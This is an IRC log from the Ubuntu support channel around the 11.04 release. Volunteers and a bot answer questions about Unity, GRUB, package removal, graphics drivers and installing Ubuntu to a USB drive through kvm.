[21:12] <ubottu> tomlin: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:12] <vish> bassliner: that bar cannot be moved..
[21:12] <ActionParsnip> xskydevilx: its a complicated file. Hunt round and you will find examples
[21:13] <ubunub> ray24, yes.
[21:13] <samtate> vish, There are no debs, so obviously I will have to compile
[21:13] <ray24> ubunub, it doesn't make sense that I'd get that prompt, since I'm not running any application from that hd
[21:13] <samtate> vish, ?
[21:13] <bassliner> vish: whoever decided that i couldn't layout my desktop by my own, deserves to be shot and needs better/other drugs.
[21:13] <ubunub> if i comes to it though, eject it from the side panel in nautilus and see if it works.
[21:13] <vish> samtate: the natty debs should be available.. the ones that are installed for natty
[21:13] <ActionParsnip> amstan: sudo dpkg -i *.deb   will install them
[21:14] <samtate> vish, i cant see any
[21:14] <amstan> ActionParsnip: i know, but i want a ppa, or something similar to host them for other comps
[21:14] <ray24> The goal here isn't unmounting, I want permission to delete my files, I believe I made an error yesterday when I deleted bundles of files from it
[21:14] <vish> bassliner: the design team, but  thats offtopic here.. feel free to use #ubuntu-offtopic for venting ;)
[21:14] <bassliner> i can just hope no other unix desktop environment would follow this silly limiting b/s.
[21:14] <ActionParsnip> Bassliner: use gnome classic and you can
[21:15] <bassliner> ActionParsnip: i'll rather fork unity on my own and hack it to the bone to let it just do what i want.
[21:15] <vish> samtate: as i said, that takes some work.. it *will* be there, search launchpad for the debs..
[21:15] <vish> !ot | bassliner
[21:15] <ubottu> bassliner: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:15] <ActionParsnip> Bassliner: your call
[21:16] <yehudah_> ubottu: how can you start acpi after booting up
[21:16] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[21:16] <tomlin> logan_:ach so _wrong channel...
[21:16] <Logan_> tomaw: No worries.
[21:16] <Logan_> *tomlin
[21:16] <H1N1> libxtst is installed . i can see it in usr/lib when when i compile my application using "gcc".it is giving Error of libxtst like this:-
[21:16] <Chipzzz> bassliner: you know where to find the sources ;)
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[21:17] <H1N1> Error-> /usr/bin/ld: cannot find -lxtst collect2: ld returned 1 exit status
[21:17] <samtate> vish, I assure you its not there - in deb form at least
[21:17] <H1N1> Error-> /usr/bin/ld: cannot find -lxtst collect2: ld returned 1 exit status.......................[libxtst is installed . i can see it in usr/lib when when i compile my application using "gcc".]
[21:17] <ray24> Cmon where's ubunub I have lots of faith in you
[21:18] <ubunub> ry24 right here lol
[21:18] <ubunub> erm ray24
[21:18] <Stereocaulon> I've noticed that after the upgrade to Natty, an ugly bug reared it's head again. When using the Flash Plugin all other sound output seems to be blocked, even when the video is paused. Adobe is the most probable culprit, yet I think that no plugin should have that much power over the rest of the system, hogging all sound resources...
[21:18] <gunther44> hi, i'm having a weird problem while compiling that google isn't much help with:
[21:18] <johnathan> im trying to install ubuntu with a usb drive, but im not sure how to do so...
[21:18] <vish> samtate: the debs are definitely needed to install those packages in natty, so there is no possible way the debs are not present.. (nope, I aint gonna search for it) :)
[21:18] <gunther44> cc: error trying to exec 'cc1': execvp: No such file or directory
[21:19] <edbian> johnathan: Did you create the USB drive?
[21:19] <trism> H1N1: it appears to be a capital X, -lXtst
[21:19] <vish> samtate: but they are there.. ;)
[21:19] <gunther44> how can i resolve this? i've no idea what cc1 is supposed to be
[21:19] <Stereocaulon> !enter | gunther
[21:19] <ubottu> gunther: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[21:19] <johnathan> edbian, meaning?
[21:19] <ubunub> ray24 what is the format f the drive? ntfs?
[21:19] <edbian> johnathan: I'll take that as a 'no'  :)   Here is a guide: https://help.ubuntu.com/community/Installation/FromUSBStick
[21:20] <receptor> i wanted to install ubuntu alongside windows 7. ubuntu LTS installer resized my data partition. i aborted the installation. i have a backup of mbr and two bootsectors for windows and data partitions. if i restore the backups e.g. using dd, will that be enough to restore my system to previous state?
[21:20] <samtate> vish, Hey I found it ;)
[21:20] <johnathan> edbian, ok, thanks
[21:20] <ray24> YYeah ubuntulo1
[21:20] <ray24> I mean ubunub
[21:20] <edbian> johnathan: :)
[21:20] <vish> samtate: neat! i told ya it will be there..  :)
[21:20] <gunther44> Stereocaulon: i take it you of course can help me though despite not overlooking a shoddy copy/paste job
[21:20] <samtate> vish, Cheers :P
[21:21] <toto654> Hey everybody, anyone know of a good voip program?
[21:21] <raven_> how to write dates/times from filename (yyyy-mm-dd - hh.mm.ss.jpg) to exif?
[21:21] <Logan_> !voip | toto654
[21:21] <ubottu> toto654: VoIP is Voice over IP. The default VoIP client for Ubuntu is !Ekiga. There is also an xmpp voice component in !Empathy. Kubuntu Clients include Kphone and Twinkle. Proprietary Clients include !Skype and Gizmo5. VoIP server applications include Asterisk and Yate ( both in repositories ), FreePBX, and SipX.
[21:21] <ray24> ubunub and I'm pretty sure that it's not an hd issue because I could delete files when plugged into another computer.
[21:21] <samtate> vish, Now I have to get the dependencies D:. Not a difficult task, just a tedious one
[21:21] <ubunub> ray24, there are apps in the app manager that may help you. hold on and let me see if i can find a name.
[21:21] <Stereocaulon> gunther44, Well, first of all I can hardly begin to help you if I don't know what you are compiling and what your'actions were that initiated the compiling
[21:22] <ray24> ubunub, thanks dude.
[21:22] <Rehan> does the 64bit ubuntu iso also have the 32bit version on it?
[21:22] <edbian> Rehan: no
[21:22] <amstan> Rehan: no
[21:22] <Soothsayer> Rehan: no
[21:23] <DaGeek247> ray24, NTFS Configuration Tool sounds promising.
[21:23] <Zelluz> Rehan:
[21:23] <sudocomm> this has probably been asked many times already since natty release but has there been a fix found for nvidia video drivers?   additional drivers shows "This driver is activated but not currently in use"
[21:23] <howlatnight> has anyone been able to compile dsniff from source?
[21:23] <DaGeek247> heck, ubottu might know some tips.
[21:23] <DaGeek247> !ntfs
[21:23] <ubottu> To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions - For write access, see !NTFS-3g or !FUSE
[21:23] <Soothsayer> sudocomm: I had that too, but I ignored it. Does the Nvidia X Server settings window open ?
[21:23] <Rehan> wow, i guess my old HP laptop is actually 64bit then...all this time i'd been installing 32bit on it and then yesterday i accidentally forgot and used a 64bit liveUSB to install
[21:23] <raven_> how to write dates/times from filename (yyyy-mm-dd - hh.mm.ss.jpg) to exif?
[21:24] <Rehan> sudocomm: i have the same "error" but it seems to work on my vaio with nvidia
[21:24] <Stereocaulon> gunther44, if you need to display a lot of text in an orderly matter without disrupting the flow of the channel, there is a good option here, called pastebin. You can ask our friendly bot ubottu if you don't know what pastebin entails.
[21:24] <gunther44> Stereocaulon: cc hello.c where the file is #include <stdio.h> int main(){print "hello";return 0;}
[21:24] <sudocomm> it does but I cannot get my desktop to go over to my 2nd monitor
[21:24] <dd214> Is there any software that I can use for Visio diagrams?
[21:24] <ActionParsnip> Rehan: you can install i32-libs and run 32bit apps (you will need to satisfy 32bit deps manually)
[21:24] <dd214> Or when in doubt.. VM out!
[21:24] <Under97> #ubuntu-it
[21:24] <Rehan> ActionParsnip: no thats not my issue
[21:24] <lyle> why don't i have the "grub" command installed by default? and apparently i have a "grub-pc" package that conflicts with "grub" so I can't install it?
[21:24] <Rehan> ActionParsnip: i thought my old HP was only 32-bit capable
[21:25] <Sverd_> ActionParsnip: http://pastebin.com/NZcfpByf
[21:25] <ActionParsnip> Rehan: just a friendly fyi
[21:25] <R3dy> anyone experiance any wacky USB issues in 11.04?
[21:25] <Under97> bye
[21:25] <yehudah_> is anyone going to answer my question
[21:25] <Rehan> ActionParsnip: thanks, appreciate it
[21:25] <ray24> DaGeek247, I thought so too, however, it did not work
[21:25] <R3dy> Just asking because I'm having issuse connecting mobile devices via usb
[21:25] <Rehan> whats your question yehudah_
[21:26] <yehudah_> rehan: how can you start acpi after booting up
[21:26] <DaGeek247> ry24, running the app as root failed?
[21:26] <DaGeek247> erm ray24
[21:26] <Rehan> yehudah_: oh i dont know sorry
[21:26] <ner0x> It's almost worth going to 10.04 LTS after this update. :-/
[21:26] <yehudah_> at boot, acpi=off otherwise cannot boot
[21:26] <yehudah_> thanks anyway
[21:26] <Camer0n> hello
[21:26] <Xylch> How do I change the Unity appmenu close/min/max to my themes defaults?
[21:26] <Stereocaulon> gunther44, BTW, I thought that main() should be a void, but that can just as well be my rusty lame excuse for a knowledge of C :-P
[21:27] <Camer0n> Anyone know how I tell which is my wireless card make/model?
[21:27] <Camer0n> using the terminal possibly
[21:27] <ner0x> Is there a way to go back to X and Gnome in 11.04 ?
[21:27] <Rehan> yehudah_: maybe you could just have the command in some wakeup script?
[21:27] <Casper76> Camer0n,  just open the case and look at the network card.
[21:27] <Rehan> yehudah_: or like make a script and put it in startup applications
[21:27] <Casper76> or just look at the card
[21:27] <Casper76> should have make and model
[21:27] <Rehan> yehudah_: where it does like "sleep 60" and then turns it on
[21:27] <yehudah_> ok, how
[21:27] <Camer0n> it's a laptop
[21:27] <Camer0n> not sure how easy it would be
[21:27] <aeon-ltd> ner0x: from what?
[21:27] <Casper76> i see.
[21:28] <famthegeek> :)
[21:28] <ner0x> aeon-ltd: The default Unity and whatever server they use.
[21:28] <raven_> how to write dates/times from filename (yyyy-mm-dd - hh.mm.ss.jpg) to exif?
[21:28] <Camer0n> i googled the model, hang on
[21:28] <Ray24> DaGeek247, would you recommend that I do a reformat to evade this problem?
[21:28] <aeon-ltd> !classic
[21:28] <ubottu> The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[21:28] <DaGeek247> how do i keep initramfs (bash thing) from showing up when i power down my netbook?
[21:28] <aeon-ltd> ner0x: above
[21:28] <aeon-ltd> !classic > ner0x
[21:28] <ubottu> ner0x, please see my private message
[21:28] <mikedddd> Hi, I am having some trouble installed FFMPEG into my command line UBUNTU host, can anyone help... it with the get apt command
[21:28] <Camer0n> it says here: http://www.uktsupport.co.uk/advent/laptop/5431.htm
[21:28] <mikedddd> ?
[21:28] <Rehan> yehudah_: i'm not sure of the details, only been using linux for a week
[21:28] <ner0x> aeon-ltd: Already did that, still is pretty buggy.
[21:28] <Camer0n> Realtek RTL8102E is thenetwork card
[21:29] <yehudah_> k
[21:29] <Camer0n> but then it says Realtek RTL8187SE Wireless LAN ** too
[21:29] <Sverd_> ActionParsnip: does it make any sense? I know its a while ago you started helping with the fullscreen flash video computer crashes, but you disconnected after you asked me for the output :)
[21:29] <DaGeek247> Ray24 it sounds like your system, andnot the drive itself. trying robly wont hurt it though.
[21:29] <Casper76> Realtek RTL8187SE Wireless LAN ** - that is the wireless card
[21:29] <Camer0n> wats the first one?
[21:29] <Camer0n> *what
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[21:29] <ActionParsnip> Sverd_: my speed sucks. Its loading...
[21:29] <ner0x> I still think the manager should say "gnome" "unity" "kde" etc.
[21:29] <Casper76> Realtek RTL8102E (Onboard) is the lan card
[21:30] <Camer0n> meaning? :/
[21:30] <Ray24> DaGeek247, Thanks for taking your time responding, I will take the necessary action.
[21:30] <gunther44> Stereocaulon: sorry about the downtime, isp playing up
[21:30] <DaGeek247> ok.
[21:30] <Casper76> its the regular ethernet card.
[21:30] <Casper76> not for wireless.
[21:30] <Casper76> the one you plug the cable into
[21:30] <Camer0n> ok thanks :)
[21:30] <Casper76> the ethernet cable
[21:30] <Sverd_> hmm..
[21:31] <DaGeek247> any one know anything about initramfs as a bash failsafe for ubuntu 10.04?
[21:31] <mikedddd> How do i update FFMPEG to the most recent... this is DRIVING ME INSANE!
[21:31] <Sverd_> anyone else that can help with flash video making my ubuntu crash in full screen? (ubuntu 11.04 64bit, nvidia adapter)
[21:31] <DaGeek247> mikedddd, try 'sudo apt-get install'
[21:32] <mikedddd> @DaGeek247 that runs an upgrade?
[21:32] <falserunes> yeah
[21:32] <DaGeek247> t updates everything.
[21:32] <DaGeek247> it*
[21:32] <Stereocaulon> gunther44, np, just trying to compile it myself, without any luck I might add. Here's a standard C helloworld as a reference:http://groups.engin.umd.umich.edu/CIS/course.des/cis400/c/hworld.html
[21:33] <mikedddd> What if i just want to update ffmpegj
[21:33] <DaGeek247> mikedddd,  if that fails remove it and install it. you houl have the new version.
[21:33] <falserunes> sudo apt-get install ffmpeg
[21:33] <mikedddd> sudo apt-get install ffmpeg
[21:33] <DaGeek247> ye
[21:33] <DaGeek247> yes
[21:33] <mikedddd> DaGeed247 Thanks!
[21:33] <mikedddd> going to do it now.
[21:33] <n-iCe> Creo que no me gustó unity
[21:33] <n-iCe> Lo siento más pesado, estoy loco ?
[21:33] <Xylch> Sverd_: Do you have flash 64 bit installed? or the default (which is 32 bit)?
[21:34] <gunther44> Stereocaulon: well, i'm actually trying to compile android, but compilation fails with the same error
[21:34] <Pici> n-iCe: Stop that.
[21:34] <ner0x> aptitude FTW
[21:34] <Sverd_> Xylch: probably default 32bit
[21:34] <n-iCe> Pici: stop what
[21:34] <DaGeek247> !es | n-iCe
[21:34] <ubottu> n-iCe: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[21:34] <gunther44> Stereocaulon: google suggests that gcc is broken somehow, but i've reinstalled it to no avail
[21:34] <n-iCe> thoight was in es
[21:34] <Xylch> Sverd_: Lemme get you the link to 64 bit, one moment.
[21:35] <Stereocaulon> gunther44, Ah, but Android uses Java, not C afaik. Anyway this is way offtopic for this channel. Care to join me on #ubuntu-offtopic to discuss this?
[21:35] <guntbert> gunther44: just reinstalling something will very seldom help anything in linux
[21:35] <BIGWORM> i love tylr
[21:35] <Stereocaulon> guntbert ^ is right. Configuration is key.
[21:36] <mikedddd> DaGeed247 Shows as the same version, i am going to remove then reinstall
[21:36] <gunther44> Stereocaulon: sure
[21:36] <alessandrodio> sugnaaaaaaaaaa
[21:36] <DaGeek247> mikedddd, ok
[21:36] <dd214> gunther44, are you developing an app for android?
[21:36] <bobhope> w
[21:36] <gunther44> guntbert: crap :( i thought reinstallation was the magical fix ;)
[21:36] <LjL> alessandrodio: erm?
[21:36] <alessandrodio> dove sei sei dobbiamo
[21:36] <alessandrodio> criptare
[21:36] <gunther44> dd214: well... i'd like to yeah, but atm, i'm trying to compile android itself
[21:36] <LjL> !it | alessandrodio
[21:36] <ubottu> alessandrodio: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[21:37] <Xylch> Sverd_: http://labs.adobe.com/downloads/flashplayer10_square.html
[21:37] <Xylch> Sverd_: It may fix the problem, but it may not.
[21:37] <Stereocaulon> !offtopic | gunther44
[21:37] <ubottu> gunther44: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:38] <mikedddd> @DaGeek, strange thing is it says it was removed, but it is not actually removed
[21:38] <Sverd_> Xylch: thanks, I will download it and try.. do I need to remove the 32bit?
[21:38] <mikedddd> probably why the update didn't show....
[21:38] <mikedddd> hm.
[21:38] <gunther44> Stereocaulon: that's so last year - check the offtopic room!
[21:39] <DaGeek247> mikedddd, so it still runs?
[21:39] <Xylch> Sverd_: I don't believe so, I didn't when I installed it and it fixed some of my issues.
[21:39] <mikedddd> yes, even after it returned that it was succesfully removed
[21:39] <Sverd_> Xylch: ok, then I just need to google how to use the .so file and im set to go :)
[21:39] <DaGeek247> mikedddd, restart your computer then?
[21:39] <mikedddd> did
[21:39] <alessandrodio> sugnaaaaaaaaaa
[21:40] <mikedddd> strange... could it be installed a different way?  let me look.
[21:40] <mikedddd> the php.ini shows it as installed in /usr/local/bin/ffmpeg
[21:40] <Simkin> 11.04 is lame
[21:40] <DaGeek247> mikedddd,  try sudo apt-get purge mpeg
[21:40] <mikedddd> if i just delete that directory and reinstall, think that will help?
[21:40] <Simkin> how the heck do i get a "pager" with unity
[21:40] <DaGeek247> or th apps name
[21:40] <Simkin> i want my multi desktops
[21:40] <Pici> !classic | Simkin
[21:40] <Simkin> Pici: ?
[21:41] <zvacet> mikedddd: how did you install that package?
[21:41] <miceiken> I need a good and simple FTP server, any suggestions?
[21:41] <Pici> Simkin: Feel free to pick Classic Ubuntu from the login screen to get the old GNOME experience that you're probably used to.
[21:41] <suigeneris> hellp
[21:41] <Rehan> fellas, is there a way to install Ubuntu to a usb flash drive and make it so that it will have the drivers to work on any computer i take it to?
[21:41] <suigeneris> hello*
[21:41] <Simkin> Pici: is ther a wa to get the best of both worlds?
[21:41] <LjL> alessandrodio: stop it
[21:41] <Simkin> or is unity doomed to fail?
[21:41] <mikedddd> i didnt it was a different admin, but id guess suda apt-get ffmpeg
[21:41] <andygraybeal> in general, after i've installed ubuntu, how do i make it so that xwindows is gone and i just have the console?
[21:41] <jibadeeha> Simkin, unity will be a success
[21:42] <Pici> ubottu: test
[21:42] <ubottu> Testing... Testing... 1. 2.. 3... ( by the way, remember that you can use #test )
[21:42] <mikedddd> @DaGeed trying suda apt-get autoremove ffmpeg
[21:42] <Simkin> jibadeeha: not without a simple pager
[21:42] <Xylch> Rehan: You can throw a live CD on a USB stick.
[21:42] <Simkin> jibadeeha: and why did they take away normal panels
[21:42] <Simkin> jibadeeha: this is absolutely retarded.
[21:42] <mikedddd> looks like it si working, but i'll have to wait until it finishes.
[21:42] <jibadeeha> Simkin, the pager is simple to use
[21:42] <Simkin> jibadeeha: window maker is better
[21:42] <zvacet> mikedddd : so it is deb package not compiled
[21:42] <guntbert> Simkin: stop that ranting please
[21:42] <suigeneris> I've upgraded to natty, and I'm getting grub rescue> now. one guid on the web says to sudo grub after booting off live cd, but I've got no such command
[21:42] <Sverd_> Xylch: any idea what folder its supposed to be in?
[21:42] <suigeneris> guide*
[21:43] <Rehan> Xylch: hmm but i always have to choose the "try ubuntu" option then? i mean is there a way to install it on there but still have it be hardware agnostic
[21:43] <Diverdude> To this day i still do not understand why the clipboard in ubuntu has not been fixed yet. When i copy something from a program or window or whatever it goes to the clipboard-> good. But when i close the program or window....my copy is ALSO deleted from the clipboard...this is something which should have been fixed in alpha version 0.0.1.....but in ubuntu 11.04 it still exists. I am baffled!
[21:43] <mikedddd> i believe the initial repo was pointing to deb packages.
[21:43] <jibadeeha> Simkin, i loved windowmaker about ten years ago, but things move on and it is no longer viable as a desktop replacement given it is a window manager
[21:43] <mikedddd> sort of new to this..
[21:43] <zvacet> mikedddd:  try with sudo dpkg --remove --force-remove-reinstreq <package name>
[21:43] <suigeneris> help?
[21:43] <mikedddd> zvacet well, autoremove is working onw, will try that next.
[21:44] <Jordan_U> Rehan: A normal install is hardware agnostic unless you install proprietary drivers.
[21:44] <Xylch> Rehan: I don't think that is possible, but I can't be sure, there is a way to save settings between live cd sessions when using a USB stick, you would have to research it tho.
[21:45] <Jordan_U> Rehan: If there is enough space just do a normal install to the USB as you would to an internal drive.
[21:45] <rezzy_> Could somebody help me with a sound problem? (PM preferred)
[21:45] <Rehan> Jordan_U: oh wow ok i didn't know that. very cool. so if i do install proprietary drivers and then use it on a computer where the proprietary drivers aren't needed, will it work? Or say i go from a system that doesn't need pro drivers to a system that does?
[21:45] <Rehan> Jordan_U: yea i have 16gb on the pen drive
[21:46] <DaGeek247> how do i keep bash from popping up on my netbook everytime i boot it up? it eventually goes to ubuntu, but it takes forever.
[21:46] <Xylch> Sverd_: It depends on the browser you are using, just look it up on google, <browser> plugin location
[21:46] <Jordan_U> Rehan: Then definitely go with a normal install, any other option would just lead to headache down the road.
[21:46] <mikedddd> @zvacet trying now.
[21:46] <Rehan> Jordan_U: thank you, could I PM you?
[21:47] <jibadeeha> Simkin, just remember how many people hated Windows XP when it came out, and then how much they wanted Windows 7 to be XP when it came out
[21:47] <DaGeek247> surely in the 1802 people there is someone who knows about this?
[21:47] <Jordan_U> Rehan: Yes, but I prefer to keep support discussion in-channel.
[21:47] <Sverd_> Xylch: I did a locate :)
[21:47] <Rehan> oh ok
[21:47] <suigeneris> I've upgraded to natty, and I'm getting grub rescue> now. one guide on the web says to sudo grub after booting off live cd, but I've got no such command
[21:47] <Simkin> jibadeeha: why
[21:47] <Simkin> jibadeeha: that is totally irrelevent.
[21:47] <Jordan_U> !grub2 | suigeneris
[21:47] <ubottu> suigeneris: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[21:47] <rezzy_> Somebody with pulseaudio/alsa/sound expertise, please send me a PM: I need your help!
[21:47] <jibadeeha> Simkin, explain how it is irrelevent
[21:48] <Simkin> windows xp was a minor change on a proven user interface.
[21:48] <jibadeeha> Simkin, hardly
[21:48] <botcity> !here | rezzy_
[21:48] <ubottu> rezzy_: Please give at least an overview of your problem *here* (all in one line) - you will get a much greater audience. If you have to use more than 3 lines, please use http://paste.ubuntu.com
[21:48] <Pici> !ot
[21:48] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:48] <Simkin> unity is a whole new user interface
[21:48] <Jordan_U> suigeneris: Follow the first guide linked there and when you are back in your booted system run "sudo dpkg-reconfigure grub-pc" and select all drives (but no partitions) as install devices for grub.
[21:48] <Rehan> Jordan_U: i'm in an ubuntu install right now, have my 16GB pen drive, and the ISO file. How can I install to my usb drive. Making a startup disk is different, I imagine.
[21:48] <Simkin> jibadeeha: whatever, the winxp interface is win95's interface
[21:49] <jibadeeha> Simkin, winxp is not win95's interface
[21:49] <Simkin> jibadeeha: you know it, i know it, we allk now it. and it's also totally unimportant because MS had the power to shove things down people's throats, ubuntu does not.
[21:49] <zvacet> jibadeeha: because this is support channel you can discus abiut ubuntu on #ubuntu-offtopic
[21:49] <Simkin> jibadeeha: it is too.
[21:49] <Simkin> jibadeeha: start menu, desktop. basics. it's all there.
[21:49] <rezzy_> Description of my problem: I can hear sound through my speakers (rear green output) but not through my headphones (front green output).
[21:49] <uabn93> Is there an amd card that is fully compatible with linux? Or am I better off getting Nvidia?
[21:49] <jibadeeha> Simkin, it isn't so .. anyway offtopic as mentioned by zvacet so best end it here
[21:50] <Jordan_U> Rehan: The easiest thing to do is to burn the iso to a CD or put the installer on a *different* USB drive with startup disk creator.
[21:50] <Simkin> jibadeeha: who decided to go the unity route?
[21:50] <Simkin> i want to talk to them.
[21:50] <DaGeek247> uabn93, nvidi prvides linux driers for it cards.
[21:50] <DaGeek247> nvidia
[21:50] <jibadeeha> Simkin, don't ask me gov
[21:50] <Rehan> Jordan_U: i see. no way to "run" the ISO from my current install?
[21:51] <Jordan_U> Rehan: Only using a virtual machine.
[21:51] <Rehan> Jordan_U: ok, thank you
[21:51] <guntbert> this is a test question - persons should ignore it. question?
[21:51] <Jordan_U> Rehan: How much RAM do you have?
[21:51] <Rehan> Jordan_U: 6GB
[21:51] <kingofswords> hi why does ubuntu give false readings of my graphics card ram?
[21:51] <Jordan_U> Rehan: What is the output of "kvm-ok"?
[21:52] <Simkin> so how does the pager work in "unity" ?
[21:52] <Rehan> Jordan_U: not installed
[21:52] <Rehan> Jordan_U: should i install it?
[21:52] <Simkin> i can move things to other work spaces, but i don't know how to switch work spaces
[21:52] <uabn93> I heard people say that they have their radeon cards running fine in linux. Is it recommended to get ATI?
[21:52] <suigeneris> I've upgraded to natty, and I'm getting grub rescue> now. one guide on the web says to sudo grub after booting off live cd, but I've got no such command
[21:52] <Jordan_U> Rehan: Yes.
[21:53] <Simkin> uabn93: some people recommend ati, they are jerks.
[21:53] <mikedddd> @zvacet Not working
[21:53] <Simkin> uabn93: for linux, nvidia is the only good solution (with closed source drivers)
[21:53] <Jordan_U> suigeneris: Did you see my responses?
[21:53] <mikedddd> i think it was installed via aptitude
[21:53] <Lillymon> Hi, I've got an Ubuntu system with 512MB RAM here. What happens if I upgrade to 11.04 on this system? Will Unity be enabled by default, and if so what happens when using Unity on a system below the minimum requirements?
[21:53] <Simkin> uabn93: the open source drivers just aren't there yet.
[21:53] <jibadeeha> uabn93, works fine with my Intel G945
[21:53] <mikedddd> @zvacet May explain the Debian packs.
[21:53] <Rehan> Jordan_U: Your CPU supports KVM extensions. KVM (vmx) is disabled by your BIOS.
[21:54] <suigeneris> Jordan_U: sorry, just saw it
[21:54] <Casper76> Lillymon,  look into lubuntu for that system with 512mb.
[21:54] <Rehan> Jordan_U: i know where to turn it on in my bios though
[21:54] <zvacet> mikedddd: can you find that package in synaptic if you can try to remove it from there
[21:54] <Casper76> its a lightweight alternative.
[21:54] <Jordan_U> Rehan: If you can enable vmx in your BIOS then you can fairly easily do the install within kvm.
[21:54] <mikedddd> @zvacet how do i access synaptic, i only have command access
[21:54] <JamezQ11> How can I view data going through my ad-hoc network?
[21:55] <Casper76> honestly, i tried running ubuntu 11.04 on my p4 3.0g 1.2g of ram, and it ran TERRIBLE
[21:55] <miceiken> Problem: I just installed mysql-server and when I try to do 'mysql -u root' I get "Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock'
[21:55] <Rehan> Jordan_U: very helpful. thank you. once i enable it in my BIOS what would I do? Is it a gui app?
[21:55] <Casper76> lubuntu runs like a deram.
[21:55] <Simkin> Casper76: i have it on two p4's right now, i agree, it is slower.
[21:55] <Lillymon> Casper76: When I saw the system requirements, the first thing I did was tweet about considering a switch to Xubuntu or Lubuntu.
[21:55] <Chipzzz> mikeddd: gksudo synaptic
[21:55] <Simkin> Casper76: disable all the eye candy and it's "bearable"
[21:55] <Lillymon> How easy is switching from Ubuntu to Xubuntu or Lubuntu?
[21:55] <jibadeeha> Casper76, must be hardware related as it runs like a dream on my netbook that uses an low powered Intel Atom N270 with 2GB of RAM
[21:55] <twilno> Trubuntu
[21:55] <uabn93> Simkin: Ahh. So I guess my future plans are to mix a phenom II with Nvidia. Is this a good mix? I mean, is it likely that I will run into some issues?
[21:56] <zvacet> mikedddd: didn´t knmow that sorry I don´t know how to help you
[21:56] <Jordan_U> Rehan: No, no GUI (that I know of) for crazy things like this :)
[21:56] <twilno> ubuntu is awesome
[21:56] <uabn93> For a new rig.
[21:56] <Simkin> uabn93: i have that setup right now, works great
[21:56] <Casper76> jibadeeha,  maybe.
[21:56] <Simkin> uabn93: six cores amd process + nvidia viid card. it's great :)
[21:56] <mikedddd> ah... thnaks.....
[21:56] <jibadeeha> Casper76, what video card do you have
[21:56] <uabn93> :)
[21:56] <Rehan> Jordan_U: thats ok, I can do stuff on CLI with some instruction. Would i basically be mounting the ISO to cdrom or something?
[21:56] <Xylch> How do I change the Unity appmenu close/min/max to my themes default?
[21:56] <Casper76> Simkin,  Yeah,  it was bearable but still slow.
[21:57] <botcity> rezzy_,  which soundcard have you?
[21:57] <Simkin> Casper76: i think we're asking too much of our p4's :)
[21:57] <Casper76> jibadeeha,  integrated intel chipset, cant think of the exact model off hand
[21:57] <Jordan_U> Rehan: Basically, make *absolutely sure* that the USB drive is not mounted. Make *absolutely sure* you know the correct device name for your USB drive (/dev/sdX, and you want the whole drive, *not* a partition like /dev/sda1).
[21:57] <rezzy_> botcity: VIA VT2020
[21:57] <zvacet> mikedddd:  try with apt-cache show <packagename> to see is it installed
[21:58] <Rehan> Jordan_U: ok, i can do that part with fdisk -l
[21:58] <uabn93> Simkin: What kind of video card are ya using?
[21:58] <rezzy_> botcity: Integrated chip on the ASUS Crosshair IV Formula mobo
[21:58] <guntbert> LjL: pm?
[21:58] <jelg> Just installed Natty (on Dell Dimension 9150 with NVidia graphics) - does not work - the unity UI comes up but accept no input
[21:58] <jelg> only works in "safe mode" it appears
[21:58] <jelg> not even in "classical mode" etc
[21:58] <Jordan_U> Rehan: Then run "gksudo kvm /dev/sdX -cdrom /path/to/ubuntu.iso -boot d -m 2G".
[21:58] <Stereocaulon> !es | n-iCe,
[21:58] <ubottu> n-iCe,: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[21:58] <Simkin> uabn93: nvidia gts 250
[21:58] <Casper76> jibadeeha,  it ran terrible though. Even with classic mode withno effects!
[21:58] <LjL> guntbert: anytime
[21:58] <mikedddd> @zvacet it shows
[21:58] <Casper76> but, lubuntu has saved me. I love it.
[21:59] <Simkin> so how do we change workspaces in unity!?
[21:59] <Rehan> Jordan_U: very cool. :)
[21:59] <jibadeeha> Simkin, click on the workspaces icon
[21:59] <Casper76> Ubuntu was 90% of the time using 100% cpu
[21:59] <mikedddd> @zvacet can it be native to Lucid?
[21:59] <vorlov> can someone help me please with ubuntu ami on amazon ec2
[21:59] <vorlov> ?
[21:59] <Rehan> Jordan_U: thank you again for all of your help. Going to try this out :)
[21:59] <Jordan_U> Rehan: It should bring up a window where you will see the LiveCD start booting. Before you install confirm that the drive you see in the virtual machine looks like the right drive and make *absolutely sure* that the USB drive is not mounted at any point while kvm is running.
[21:59] <jibadeeha> Simkin, it is an icon with a grid and when you hover your mouse over it it says Workspace Switcher
[22:00] <Simkin> jibadeeha: doesn't exist
[22:00] <Rehan> Jordan_U: will do
[22:00] <Simkin> but i found the kb short cut ctrl-alt-right and ctrl-alt-left
[22:00] <Simkin> jibadeeha: where is this mysterious icon?
[22:00] <keito> is there a command to open the gnome2 menu, that I can then assign to a screen edge?
[22:00] <Rehan> whats the -m 2G flag mean Jordan_U ?
[22:00] <pladijs> Running ubuntu 11.04. My system automatically logs into xfce on VT7. I'd like to automatically open a session on VT8 in parallel. What config files should i look at?
[22:00] <zvacet> mikedddd: I´m sorry didn´t understand you
